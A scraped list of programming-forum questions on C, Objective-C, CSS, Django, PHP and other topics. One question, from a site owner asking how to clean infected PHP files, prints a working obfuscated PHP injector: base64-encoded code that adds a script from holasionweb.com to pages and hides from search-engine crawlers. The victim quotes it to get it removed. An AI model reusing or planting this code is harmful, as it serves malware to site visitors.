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  • Passing a pointer to a function that doesn't match the requirements of the formal parameter

    - by Andreas Grech
    int valid (int x, int y) { return x + y; } int invalid (int x) { return x; } int func (int *f (int, int), int x, int y) { //f is a pointer to a function taking 2 ints and returning an int return f(x, y); } int main () { int val = func(valid, 1, 2), inval = func(invalid, 1, 2); // <- 'invalid' does not match the contract printf("Valid: %d\n", val); printf("Invalid: %d\n", inval); /* Output: * Valid: 3 * Invalid: 1 */ } At the line inval = func(invalid, 1, 2);, why am I not getting a compiler error? If func expects a pointer to a function taking 2 ints and I pass a pointer to a function that takes a single int, why isn't the compiler complaining? Also, since this is happening, what happens to the second parameter y in the invalid function?

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  • iPhone, special characters in JSON Response

    - by eddit
    Writing an iphone app, and I'm getting my data from a REST API that returns JSON. My problem is, some of the data has special characters embedded and Im getting errors. Example: MartÌn Petite-RiviËre-Saint-FranÁois Here is my current code: NSString *jsonString = [[NSString alloc] initWithData:receivedData encoding:NSUTF8StringEncoding]; NSMutableArray *tempResults = [[[jsonString JSONValue] objectForKey:@"getRegionResortsLastUpdatedResponse"] objectForKey:@"return"]; Whenever the data has special characters in it "jsonString" return "(null)", otherwise everything works fine. Is this something I can handle on my end, or does the API need to be modified to output the character codes?

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  • looking for a good vc++ profiler, already checked previous posts

    - by coreSOLO
    I'm looking for a good profiler for vs2008 professional edition, free or reasonably priced. I've already checked previous posts and tried about 8 profilers, but most of them are too basic or too detailed. Kindly suggest something, my requirements are as follows: It can be compiled, so that its well integrated with my application. I'm not shying away from instrumenting my methods. The output should be simple, i only need call count and time taken by methods and nothing else. I am mostly concerned about things INSIDE a method, you may call it line by line profiling. I want to select a method and know which line (expression / method call) is eating most of the time.

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  • 'Generating code' and stop in building release mode (Visual Studio 2005 )

    - by cchcc
    Hi! I have a problem about release build I'm using Visual Studio 2005. The project is worked on MFC When I build the project what I working in debug mode, It builds done successfully. but in release mode, Output window shows next 1Compiling resources... 1Linking... 1Generating code and then.. it doesn't pass. It seems like be stoped. After 20 min ,I just canceld build. It has been built well before. I just added some files(.h .cpp) and resorces(.bmp), not special code and it happened. Do you have any idea about that? please help me

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  • search text in pdf in iphone

    - by Jaimin
    i m trying to do search funtionality in iphone.. i pass the page number and the string to be searched.. but it is not getting the proper output. in contentStream i get nothing.. i got this code by googling. i dont know what will be dere in contentStream object. -(BOOL)page:(CGPDFPageRef)inPage containsString:(NSString *)inSearchString; { [self setCurrentData:[NSMutableString string]]; CGPDFContentStreamRef contentStream = CGPDFContentStreamCreateWithPage(inPage); CGPDFScannerRef scanner = CGPDFScannerCreate(contentStream, table, self); bool ret = CGPDFScannerScan(scanner); CGPDFScannerRelease(scanner); CGPDFContentStreamRelease(contentStream); return ([[currentData uppercaseString] rangeOfString:[inSearchString uppercaseString]].location != NSNotFound); } need help urgently.. and if there is any other solution than also it is fine..

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  • OutputDebugString + DebugView = not tabs!

    - by Steve
    I am dumping \t delimited data using using OutputDebugString and then use ex-Sysinternals DebugView to capture it. The problem is that all the data in DebugView appear to be space delimited, hence I need to perfrorm CTRL+H "\x20" "t" to replace spaces with the tabs before I can use it (I really need tab delimited data). Is there anyway to tell DebugView not to replace tabs with spaces? Or maybe there is a better tool available to capture output of the OutputDebugString function? Any ideas are very welcome!

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  • Constructor return value

    - by Ivan Gromov
    Could you tell me what is wrong with my class constructor? Code: CVector::CVector (int size_) { if (size_ > 0) { this->size = size_; this->data = new double[size]; for (int i = 0; i < size; i++) { (*this)(i) = i; } } cout << "constructor end" << endl; return; } Usage example: tvector = CVector(6); I get an access violation after "constructor end" output.

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  • Modifiers in Makefile rule's dependency list

    - by gnu_maker
    The problem is fairly simple. I am trying to write a rule, that given the name of the required file will be able to tailor its dependencies. Let's say I have two programs: calc_foo and calc_bar and they generate a file with output dependent on the parameter. My target would have a name 'target_*_*'; for example, 'target_foo_1' would be generated by running './calc_foo 1'. The question is, how to write a makefile that would generate outputs of the two programs for a range of parameters?

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  • How can i remove an iframe virus from all of php files on my website?

    - by Uchiha Itachi
    I have a problem about removing a virus code from my php files. There is more then 1200 php file in my server and every single php file has been infected by an virus. Virus code adding this line to html output <script src="http://holasionweb.com/oo.php"></script> This is the code of virus <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?> Above code in every single php file. How can i remove this virus code from every php file ? Is there a quick way for doing it?

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  • Webserver for publishing adjusted images

    - by Petr Prikryl
    I want to create webserver which will be receiving data (images probably) from webclients who will be uploading these photos. And then the webserver must execute some graphic programs (client select whichone) to modify the image(s). After the graphic program is done, the results (output image(s)) will be uploaded to the web temp database (by webserver) to publish results of graphic programs. I found the C++ web toolkit (http://www.webtoolkit.eu), but I'm not sure if this is a suitable C/C++ library for me because I haven't any experiences with making C/C++ web apps/servers. Can someone tell me some advice please? The webserver should have some SDK too, for adding next graphic programs. I'm searching only for any C/C++ tools/libraries/etc.

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  • printing out posts

    - by yCalleecharan
    Hi, I'm using the Firefox browser and trying to print out my posts (and replies). The pdf output doesn't include the comments in the posts. How to make sure that everything which is on the page gets printed? Same goes for codes for which are in a window. Only the visible part of the code gets printed. These are not programming questions :) but I hope that someone can suggest how to get proper printouts of the posts. Thanks a lot...

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  • css problem with unordered lists (as usual with IE)

    - by Emin
    I am using un-ordered lists that nests some divs to show the desired output on screen. I am using css to style them and they seem to look perfect on chrome and firefox. But in IE(8) it looks there is a problem which I was unable to locate. I am using the below CSS <style type="text/css"> .ur_container {width:980px; padding: 0; margin: 0;} .ur_container ul.bx_grp {list-style-type: none; padding: 0px; margin: 0px; } .ur_container ul.bx_lnx {list-style-type: none; padding: 5px; margin: 0px; } .bx_grp {border:1px solid #c5c5c5; background-color: yellow; margin:0; padding:0;} .bx_grp_header {background-color: #d6d6d6; border-bottom:1px solid #acacac;} .bx_grp_title {float: left; font: bold 11px Arial; padding:5px;} .bx_grp_options {float: right; font: 10px Arial; padding: 5px;} .bx_grp_options a{color: #125B93; text-decoration: none; } .bx_lnx {padding:0px; background-color: red;} .bx_lnx_header {font:11px Arial; color:#333;} .bx_lnx_title {float: left;} .bx_lnx_refno {background-color:#333; color: fff; padding: 1px; margin-right: 5px; } .bx_lnx_options {float: right;} .bx_lnx_options a {color: #258CF4; text-decoration: none;} .bx_lnx_url {font: 9px Arial; color: #999; margin-top: 4px; } .bx_lnx_notes {} .bx_lnx_notes span {background-color: #FDFFCC; color: #666; font: 9px Arial; padding:2px;} .bx_lnx_tags {} .bx_lnx_tags span {background-color: #efefef; border-bottom: 1px solid #ccc; color: #666; font: 9px Arial; padding: 1px 2px 1px 2px; margin-right: 5px;} </style> Against the following HTML <div class="ur_container"> <ul class="bx_grp" id="grp_1"> <li> <div class="bx_grp_header"> <span class="bx_grp_title">Personal File</span> <span class="bx_grp_options"><a href="#">rename</a> &bull; <a href="#">make private</a> &bull; <a href="#">hide</a href="#"> &bull; <a href="#">delete</a></span> <div style="clear: both;"></div> </div> </li> <li> <ul class="bx_lnx" id="lnx_1"> <li> <div class="bx_lnx_header"> <span class="bx_linx_title"><span class="bx_lnx_refno">#3103</span>How to file personal files</span> <span class="bx_lnx_options"><a href="#">edit</a> &bull; <a href="#">move</a> &bull; <a href="#">delete</a></span> </div> </li> <li class="bx_lnx_url">http://www.google.com</li> <li class="bx_lnx_notes"><span>search google for this</span></li> <li class="bx_lnx_tags"><span>personal</span><span>file</span><span>google</span></li> </ul> </li> </ul> </div> Which produces this output in Chrome and Fireworks and the following in IE The yellow and red colors was used in order to show that is being going wrong. The yellow part is the undesired one. Can anyone point me in the right direction please ? Regards

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  • How to get the Doctype Declaration in Xerces-C when using SAX2 ?

    - by ArtB
    I am using SAX2 from Xerces-C to read an XML document. However, I would like to check the Doctype declaration (if there is any) to make sure that the XML file is in the format I am expecting. I have tried the unparsedEntityDecl and notationDecl methods from the DTDHandler, and EntityResolver seems to be more low-level than what I am looking for. My motivation is for this is to be able to confirm that the input is of the format I am expecting so that I can differentiate between documents which produce no output and those that are entirely of the wrong format.

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  • Uniform distribution of binary values in Matlab

    - by JohnIdol
    I have a requirement for the generation of a given number N of vectors of given size each consistent of a uniform distribution of 0s and 1s. This is what I am doing at the moment, but I noticed that the distribution is strongly peaked at half 1s and half 0s, which is no good for what I am doing: a = randint(1, sizeOfVector, [0 1]); The unifrnd function looks promising for what I need, but I can't manage to understand how to output a binary vector of that size. Is it the case that I can use the unifrnd function (and if so how would be appreciated!) or can is there any other more convenient way to obtain such a set of vectors? Any help appreciated!

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  • Using Django view variables inside templates

    - by William
    Hi, this is a rather basic question (I'm new to Django) but I'm having trouble using a variable set in my view inside my template. If I initialize a string or list inside my view (i.e. h = "hello") and then attempt to call it inside a template: {{ h }} there is neither output nor errors. Similarly, if I try to use a variable inside my template that doesn't exist: {{ asdfdsadf }} there is again no error reported. Is this normal? And how can I use my variables within my templates. Thanks!

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  • Best way to test instance methods without running __init__

    - by KenFar
    I've got a simple class that gets most of its arguments via init, which also runs a variety of private methods that do most of the work. Output is available either through access to object variables or public methods. Here's the problem - I'd like my unittest framework to directly call the private methods called by init with different data - without going through init. What's the best way to do this? So far, I've been refactoring these classes so that init does less and data is passed in separately. This makes testing easy, but I think the usability of the class suffers a little. EDIT: Example solution based on Ignacio's answer: import types class C(object): def __init__(self, number): new_number = self._foo(number) self._bar(new_number) def _foo(self, number): return number * 2 def _bar(self, number): print number * 10 #--- normal execution - should print 160: ------- MyC = C(8) #--- testing execution - should print 80 -------- MyC = object.__new__(C) MyC._bar(8)

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  • get file path from svn diff file with PHP and C

    - by coderex
    hi i have a file having svn diff i wish to extract the filenames form the diff. How to write the parser for that.. Index: libs/constant.php =================================================================== --- libs/constant.php (revision 1243) +++ libs/constant.php (revision 1244) @@ -26,5 +26,5 @@ // changesss - +// test 2 ?> \ No newline at end of file Index: libs/Tools.php =================================================================== --- libs/Tools.php (revision 1243) +++ libs/Tools.php (revision 1244) @@ -34,5 +34,5 @@ // another file an change - +// test ?> \ No newline at end of file Sample output. libs/constant.php libs/Tools.php How to write parser in PHP and C.

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  • Help me write a nicer SQL query in Rails

    - by Sainath Mallidi
    Hi, I am trying to write an SQL query to update some of the attributes that are regularly pulled from source. the output will be a text file with the following fields: author, title, date, popularity I have two tables to update one is the author information and the other is popularity table. And the Author Active Record object has one popularity. Currently I'm doing it like this.\ arr.each { |x| x = x.split(" ") results = Author.find_by_sql("SELECT authors.id FROM authors, priorities WHERE authors.id=popularity.authors_id AND authors.author = x[0]") results[0].popularity.update_attribute("popularity", x[3]) I need two tables because the popularity keeps changing, and I need only the top 1000 popular ones, but I still need to keep the previously popular ones also. Is there any nicer way to do this, instead of one query for every new object. Thanks.

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  • Using reshape + cast to aggregate over multiple columns

    - by DamonJW
    In R, I have a data frame with columns for Seat (factor), Party (factor) and Votes (numeric). I want to create a summary data frame with columns for Seat, Winning party, and Vote share. For example, from the data frame df <- data.frame(party=rep(c('Lab','C','LD'),times=4), votes=c(1,12,2,11,3,10,4,9,5,8,6,15), seat=rep(c('A','B','C','D'),each=3)) I want to get the output seat winner voteshare 1 A C 0.8000000 2 B Lab 0.4583333 3 C C 0.5000000 4 D LD 0.5172414 I can figure out how to achieve this. But I'm sure there must be a better way, probably a cunning one-liner using Hadley Wickham's reshape package. Any suggestions? For what it's worth, my solution uses a function from my package djwutils_2.10.zip and is invoked as follows. But there are all sorts of special cases it doesn't deal with, so I'd rather rely on someone else's code. aggregateList(df, by=list(seat=seat), FUN=list(winner=function(x) x$party[which.max(x$votes)], voteshare=function(x) max(x$votes)/sum(x$votes)))

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  • access EF classes from a Class Library - exactly how do configure/test the connection string in the

    - by Greg
    Hi, I'm getting very confused about how to call my EF classes in a Class Library from the Client Project I have? Things worked fine when they were in the same project. Now I'm getting errors such as "Unable to load the specified metadata resource ". I've see various ideas / suggestions re how to fix the connection string (e.g. create an App.config in your client project & copy the connection string config from your class library, something about change the connection settings to copy to output, etc) QUESTION - Can someone provide a solid way on how to get EF class access from a separate project working? (i.e. how to get the correct connection information to the client somehow) thanks

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  • How do I check if selected value of the ListBox is not selected in C#?

    - by Sahat
    This code will display the selected value from the listbox. E.g. if I sellect Item 1 I will get the following output: You have selected Item 1. Label1.Text = "You have selected " + DropDownList1.SelectedValue + "<br />"; But if I don't select anything and click on Submit button, I will get: You have selected What would I need to make it display "You have not selected anything. Please select at least 1 item." UPDATE: I am using ASP.NET WebForms.

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  • How to get the domain name from an url with PHP?

    - by ilhan
    For example http://www.google.com/ -> google.com http://www.ma219.metu.edu.tr -> metu.edu.tr https://www.nic.tr/ -> nic.tr http://www.plasticsurgery.a.bg/ -> plasticsurgery.a.bg www.abv.bg -> abv.bg abv.bg -> abv.bg The output should not have subdomain. Edit: It would be great if we were able to read http://mxr.mozilla.org/mozilla/source/netwerk/dns/src/effective_tld_names.dat?raw=1

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  • PHPUnit doesn't recognize file_exists()

    - by Ondrej Slinták
    I've set up a project with unit test files in NetBeans. I set bootstrap to C:\www\foo\_tests\TestAutoload.php and put simple autoload method to this file: function __autoload( $class_name ) { // series of ifs if ( ... ) { $file_name = ... } if ( file_exists ( $file_name ) ) { require_once( $file_name ); } else { echo "autoload error"; } } All of my tests fail on autoload this way. They always output just "autoload error". If I don't check if file_exists and just use require_once( $file ) no matter what's in $file, it works perfectly. Anyone encountered anything like this before? It's not something I couldn't resolve by simply not checking whether file exists or not, but I'm interested why it does this and if I can cheat it somehow.

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  • PHP Regex Question

    - by oyerli
    Hi, I am developing an application using PHP but I am new to regular expressions, I could not find a solution to my problem. I want to replace all occurences of #word with a link, i have written a preg_match for this: $text=preg_replace('~#([\p{L}|\p{N}]+)~u', '<a href="/?aranan=$1">#$1</a>', $text); The problem is, this regular expression also matches the html character codes like &#039; and gives corrupt output. I need to exclude the words starting with &# but i do not know how to do that using regular expressions. Thanks for your help.

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